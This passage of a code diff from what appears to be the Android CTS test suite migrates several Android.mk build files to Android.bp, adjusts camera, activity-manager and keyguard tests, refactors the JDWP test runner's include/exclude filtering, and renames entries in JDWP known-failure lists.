             for (int i = 1; i < YUV_IMG_READER_COUNT; i++) {
                 outputConfig.addSurface(readerSurfaces[i]);
@@ -559,17 +566,34 @@
                 CaptureRequest.Builder imageReaderRequestBuilder = getCaptureBuilder(cameraId,
                         CameraDevice.TEMPLATE_PREVIEW);
                 imageReaderRequestBuilder.addTarget(readerSurfaces[i]);
-                imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                if (blockMaxAcquired) {
+                    if (acquiredCount <= (maxAcquiredImages + 1)) {
+                        // Camera should be able to handle cases where
+                        // one output blocks more buffers than the respective
+                        // maximum acquired count.
+                        imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                    }
+                } else {
+                    imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                }
                 capture(cameraId, imageReaderRequestBuilder.build(), resultListener);
                 imageListeners[i].waitForAnyImageAvailable(PREVIEW_TIME_MS);
                 Image img = imageReaders[i].acquireLatestImage();
                 assertNotNull("Invalid image acquired!", img);
                 assertNotNull("Image planes are invalid!", img.getPlanes());
                 img.close();
-                imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
-                img = imageReaders[0].acquireLatestImage();
-                assertNotNull("Invalid image acquired!", img);
-                img.close();
+                if (blockMaxAcquired) {
+                    if (acquiredCount < maxAcquiredImages) {
+                        imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+                        acquiredImages[acquiredCount] = imageReaders[0].acquireNextImage();
+                    }
+                    acquiredCount++;
+                } else {
+                    imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+                    img = imageReaders[0].acquireLatestImage();
+                    assertNotNull("Invalid image acquired!", img);
+                    img.close();
+                }
                 outputConfig.removeSurface(readerSurfaces[i]);
                 updateOutputConfiguration(cameraId, outputConfig);
             }
diff --git a/tests/core/runner/Android.bp b/tests/core/runner/Android.bp
new file mode 100644
index 0000000..de3d724
--- /dev/null
+++ b/tests/core/runner/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//==========================================================
+// Build the core runner.
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-core-test-runner",
+
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "compatibility-device-util",
+        "android-support-test",
+        "vogarexpect",
+        "testng",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+    sdk_version: "test_current",
+
+}
+
+//==========================================================
+// Build the run listener
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-test-runner",
+
+    srcs: ["src/com/android/cts/runner/**/*.java"],
+    static_libs: ["android-support-test"],
+    sdk_version: "current",
+
+}
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
deleted file mode 100644
index e2d5047..0000000
--- a/tests/core/runner/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#==========================================================
-# Build the core runner.
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_MODULE := cts-core-test-runner
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
-    vogarexpect \
-    testng
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#==========================================================
-# Build the run listener
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
-LOCAL_MODULE := cts-test-runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/framework/base/activitymanager/app/Android.bp b/tests/framework/base/activitymanager/app/Android.bp
new file mode 100644
index 0000000..41557b4
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/Android.bp
@@ -0,0 +1,18 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+filegroup {
+    name: "cts-amwm-components",
+    srcs: ["**/Components.java"],
+}
diff --git a/tests/framework/base/activitymanager/app_base/Android.bp b/tests/framework/base/activitymanager/app_base/Android.bp
new file mode 100644
index 0000000..437e8c5
--- /dev/null
+++ b/tests/framework/base/activitymanager/app_base/Android.bp
@@ -0,0 +1,18 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+filegroup {
+    name: "cts-amwm-components-base",
+    srcs: ["**/ComponentsBase.java"],
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index ee16237..1ea220a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -238,8 +238,6 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
-        // Wait for transition complete.
-        mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY);
         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index dbc93b4..94e9b63 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -610,14 +610,17 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
         // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
         launchActivity(PIP_ACTIVITY);
-        waitForExitPipToFullscreen(PIP_ACTIVITY);
-        executeShellCommand("am broadcast -a " + ACTION_ENTER_PIP);
+        mAmWmState.waitForWithAmState(amState ->
+                amState.getFrontStackWindowingMode(DEFAULT_DISPLAY) == WINDOWING_MODE_FULLSCREEN,
+                "Waiting for PIP to exit to fullscreen");
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index 0a99cc5..5d2d82b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -170,11 +170,7 @@
             lockScreenSession.setLockCredential().sleepDevice();
 
             mAmWmState.computeState(true);
-            if (!isWatch()) {
-                // On P watches, keyguard windows are only shown while in interactive to allow
-                // SysUI implementation to show in ambient mode.
-                assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-            }
+            assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
             launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
             mAmWmState.waitForKeyguardShowingAndNotOccluded();
             mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
diff --git a/tests/framework/base/activitymanager/util/Android.bp b/tests/framework/base/activitymanager/util/Android.bp
new file mode 100644
index 0000000..f71603b
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "cts-amwm-util",
+
+    srcs: [
+        "src/**/*.java",
+        ":cts-amwm-components",
+        ":cts-amwm-components-base",
+    ],
+
+    static_libs: [
+        "platformprotosnano",
+        "compatibility-device-util",
+        "android-support-test",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
deleted file mode 100644
index 22dfa02..0000000
--- a/tests/framework/base/activitymanager/util/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-named-files-under,Components.java, ../app) \
-    $(call all-named-files-under,ComponentsBase.java, ../app_base)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    platformprotosnano \
-    compatibility-device-util \
-    android-support-test
-
-LOCAL_MODULE := cts-amwm-util
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/jdwp/TEST_MAPPING b/tests/jdwp/TEST_MAPPING
new file mode 100644
index 0000000..0c53164
--- /dev/null
+++ b/tests/jdwp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJdwpTestCases"
+    }
+  ]
+}
diff --git a/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java b/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
index 99daac1..cce81d0 100644
--- a/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
+++ b/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
@@ -29,6 +29,8 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
@@ -39,6 +41,7 @@
 import java.util.List;
 import java.util.Scanner;
 import java.util.Set;
+import java.util.function.Consumer;
 
 /**
  * Runs tests against the Dalvik VM.
@@ -120,33 +123,59 @@
         System.out.println(String.format("end-run:%d", end - start));
     }
 
+    private static void iterateTests(Test test, Set<String> includes, Set<String> excludes,
+            Consumer<Test> sink) {
+        if (test instanceof TestSuite) {
+            // If the test is a suite it could contain multiple tests, these need to be split
+            // out into separate tests so they can be filtered
+            TestSuite suite = (TestSuite) test;
+            Enumeration<Test> enumerator = suite.tests();
+            while (enumerator.hasMoreElements()) {
+                iterateTests(enumerator.nextElement(), includes, excludes, sink);
+            }
+            return;
+        }
+        if (shouldRun(test, includes, excludes)) {
+            sink.accept(test);
+        }
+    }
+
     /* Recursively collect tests, since Test elements of the TestSuite may also be TestSuite
      * objects containing Tests. */
     private static void collectTests(TestSuite suite, TestListener listener,
             Set<String> includes, Set<String> excludes) {
-
-        Enumeration<Test> tests = suite.tests();
-        while (tests.hasMoreElements()) {
-            Test test = tests.nextElement();
-            if (test instanceof TestSuite) {
-                collectTests((TestSuite) test, listener, includes, excludes);
-            } else if (shouldCollect(test, includes, excludes)) {
-                listener.startTest(test);
-                listener.endTest(test);
-            }
-        }
+        iterateTests(suite, includes, excludes, test -> {
+            listener.startTest(test);
+            listener.endTest(test);
+        });
     }
 
-    /* Copied from FilterableTestSuite.shouldRun(), which is private */
-    private static boolean shouldCollect(Test test, Set<String> includes, Set<String> excludes) {
+    private static boolean packageFilterApplies(String className, Set<String> filters) {
+      // Traditional meaning: equality.
+      int index = className.lastIndexOf('.');
+      String packageName = index < 0 ? "" : className.substring(0, index);
+      if (filters.contains(packageName)) {
+        return true;
+      }
+
+      // See if it's a name prefix, for JarJared names.
+      for (String filter : filters) {
+        if (className.startsWith(filter) && className.length() > filter.length() &&
+                className.charAt(filter.length()) == '_') {
+            return true;
+        }
+      }
+
+      return false;
+    }
+
+    private static boolean shouldRun(Test test, Set<String> includes, Set<String> excludes) {
         String fullName = test.toString();
         String[] parts = fullName.split("[\\(\\)]");
         String className = parts[1];
         String methodName = String.format("%s#%s", className, parts[0]);
-        int index = className.lastIndexOf('.');
-        String packageName = index < 0 ? "" : className.substring(0, index);
 
-        if (excludes.contains(packageName)) {
+        if (packageFilterApplies(className, excludes)) {
             // Skip package because it was excluded
             return false;
         }
@@ -161,7 +190,7 @@
         return includes.isEmpty()
                 || includes.contains(methodName)
                 || includes.contains(className)
-                || includes.contains(packageName);
+                || packageFilterApplies(className, includes);
     }
 
     private static void loadFilters(String filename, Set<String> filters) {
@@ -308,7 +337,20 @@
         }
 
         public static String stringify(Throwable error) {
-            return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
+            String output = null;
+            try {
+              try (StringWriter sw = new StringWriter()) {
+                try (PrintWriter pw = new PrintWriter(sw)) {
+                  error.printStackTrace(pw);
+                }
+                output = sw.toString();
+              }
+            } catch (Exception e) {
+              if (output == null) {
+                output = error.toString() + Arrays.toString(error.getStackTrace());
+              }
+            }
+            return output.replace("\n", "^~^");
         }
     }
 
@@ -337,77 +379,25 @@
             mExcludes = excludes;
         }
 
-        /**
-         * {@inheritDoc}
-         */
+        private static class CountConsumer implements Consumer<Test> {
+            public int count = 0;
+
+            @Override
+            public void accept(Test t) {
+                count++;
+            }
+        }
+
         @Override
         public int countTestCases() {
-            return countTests(this);
+            CountConsumer counter = new CountConsumer();
+            iterateTests(this, mIncludes, mExcludes, counter);
+            return counter.count;
         }
 
-        private int countTests(Test test) {
-            if (test instanceof TestSuite) {
-                // If the test is a suite it could contain multiple tests, these need to be split
-                // out into separate tests so they can be filtered
-                TestSuite suite = (TestSuite) test;
-                Enumeration<Test> enumerator = suite.tests();
-                int count = 0;
-                while (enumerator.hasMoreElements()) {
-                    count += countTests(enumerator.nextElement());
-                }
-                return count;
-            } else if (shouldRun(test)) {
-                return 1;
-            }
-            return 0;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
         @Override
         public void runTest(Test test, TestResult result) {
-            runTests(test, result);
-        }
-
-        private void runTests(Test test, TestResult result) {
-            if (test instanceof TestSuite) {
-                // If the test is a suite it could contain multiple tests, these need to be split
-                // out into separate tests so they can be filtered
-                TestSuite suite = (TestSuite) test;
-                Enumeration<Test> enumerator = suite.tests();
-                while (enumerator.hasMoreElements()) {
-                    runTests(enumerator.nextElement(), result);
-                }
-            } else if (shouldRun(test)) {
-                test.run(result);
-            }
-        }
-
-        private boolean shouldRun(Test test) {
-            String fullName = test.toString();
-            String[] parts = fullName.split("[\\(\\)]");
-            String className = parts[1];
-            String methodName = String.format("%s#%s", className, parts[0]);
-            int index = className.lastIndexOf('.');
-            String packageName = index < 0 ? "" : className.substring(0, index);
-
-            if (mExcludes.contains(packageName)) {
-                // Skip package because it was excluded
-                return false;
-            }
-            if (mExcludes.contains(className)) {
-                // Skip class because it was excluded
-                return false;
-            }
-            if (mExcludes.contains(methodName)) {
-                // Skip method because it was excluded
-                return false;
-            }
-            return mIncludes.isEmpty()
-                    || mIncludes.contains(methodName)
-                    || mIncludes.contains(className)
-                    || mIncludes.contains(packageName);
+            iterateTests(test, mIncludes, mExcludes, t -> t.run(result));
         }
     }
 }
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
new file mode 100644
index 0000000..e421ce0
--- /dev/null
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// TODO: Figure out what to do with something that is technically just
+//       a library component for a test, not a test. Right now, make it
+//       a test to retain the test_suites from the original Android.mk.
+
+java_test_host {
+    name: "cts-dalvik-host-test-runner",
+
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+    static_libs: ["vogarexpect-no-deps"],
+
+    java_resource_dirs: ["resources"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
deleted file mode 100644
index 32abf79..0000000
--- a/tests/jdwp/runner/host-side/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-dalvik-host-test-runner
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := vogarexpectlib
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt b/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
index 61cf050..72c81cf 100644
--- a/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
+++ b/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
@@ -8,45 +8,45 @@
   description: "Test fails due to unexpectedly getting the thread-groups of zombie threads",
   result: EXEC_FAILED,
   bug: 66906414,
-  name: "org.apache.harmony.jpda.tests.jdwp.ThreadReference.ThreadGroup002Test#testThreadGroup002"
+  name: "org.apache.harmony.jpda.tests.jdwp.ThreadReference_ThreadGroup002Test#testThreadGroup002"
 },
 {
   description: "This test is incorrect since it blindly requests local variables without checking their slot numbers.",
   result: EXEC_FAILED,
   bug: 74028528,
-  name: "org.apache.harmony.jpda.tests.jdwp.Events.Breakpoint003Test#testBreakPointInFrameworkCode"
+  name: "org.apache.harmony.jpda.tests.jdwp.Events_Breakpoint003Test#testBreakPointInFrameworkCode"
 },
 {
   description: "Test fails due to static values not being set correctly.",
   result: EXEC_FAILED,
   bug: 66905894,
-  name: "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues006Test#testGetValues006"
+  name: "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues006Test#testGetValues006"
 },
 {
   description: "Tests that fail on both ART and RI. These tests are likely incorrect",
   result: EXEC_FAILED,
   bug: 66906734,
-  names: [ "org.apache.harmony.jpda.tests.jdwp.ArrayReference.SetValues003Test#testSetValues003_InvalidIndex",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethod002Test#testInvokeMethod_wrong_argument_types",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethodTest#testInvokeMethod002",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethodTest#testInvokeMethod003",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceTest#testNewInstance002",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.SetValues002Test#testSetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.Events.ClassPrepare002Test#testClassPrepareCausedByDebugger",
-           "org.apache.harmony.jpda.tests.jdwp.Events.ExceptionCaughtTest#testExceptionEvent_ThrowLocation_FromNative",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.DisableCollectionTest#testDisableCollection_null",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.EnableCollectionTest#testEnableCollection_invalid",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.EnableCollectionTest#testEnableCollection_null",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.GetValues002Test#testGetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.SetValues003Test#testSetValues003",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.SetValuesTest#testSetValues001",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.FieldsWithGenericTest#testFieldsWithGeneric001",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues002Test#testGetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues004Test#testGetValues004",
-           "org.apache.harmony.jpda.tests.jdwp.StringReference.ValueTest#testStringReferenceValueTest001_NullString",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.ChildrenTest#testChildren_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.NameTest#testName001_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.ParentTest#testParent_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.CapabilitiesNewTest#testCapabilitiesNew001" ]
+  names: [ "org.apache.harmony.jpda.tests.jdwp.ArrayReference_SetValues003Test#testSetValues003_InvalidIndex",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethod002Test#testInvokeMethod_wrong_argument_types",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethodTest#testInvokeMethod002",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethodTest#testInvokeMethod003",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_NewInstanceTest#testNewInstance002",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_SetValues002Test#testSetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.Events_ClassPrepare002Test#testClassPrepareCausedByDebugger",
+           "org.apache.harmony.jpda.tests.jdwp.Events_ExceptionCaughtTest#testExceptionEvent_ThrowLocation_FromNative",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_DisableCollectionTest#testDisableCollection_null",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_EnableCollectionTest#testEnableCollection_invalid",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_EnableCollectionTest#testEnableCollection_null",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_GetValues002Test#testGetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_SetValues003Test#testSetValues003",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_SetValuesTest#testSetValues001",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_FieldsWithGenericTest#testFieldsWithGeneric001",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues002Test#testGetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues004Test#testGetValues004",
+           "org.apache.harmony.jpda.tests.jdwp.StringReference_ValueTest#testStringReferenceValueTest001_NullString",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_ChildrenTest#testChildren_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_NameTest#testName001_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_ParentTest#testParent_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_CapabilitiesNewTest#testCapabilitiesNew001" ]
 }
 ]
diff --git a/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt b/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
index 3354b62..910d7b8 100644
--- a/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
+++ b/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
@@ -5,30 +5,30 @@
 {
   description: "CTS JDWP known failures",
   names: [
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger",
-    "org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001",
-    "org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001",
-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001",
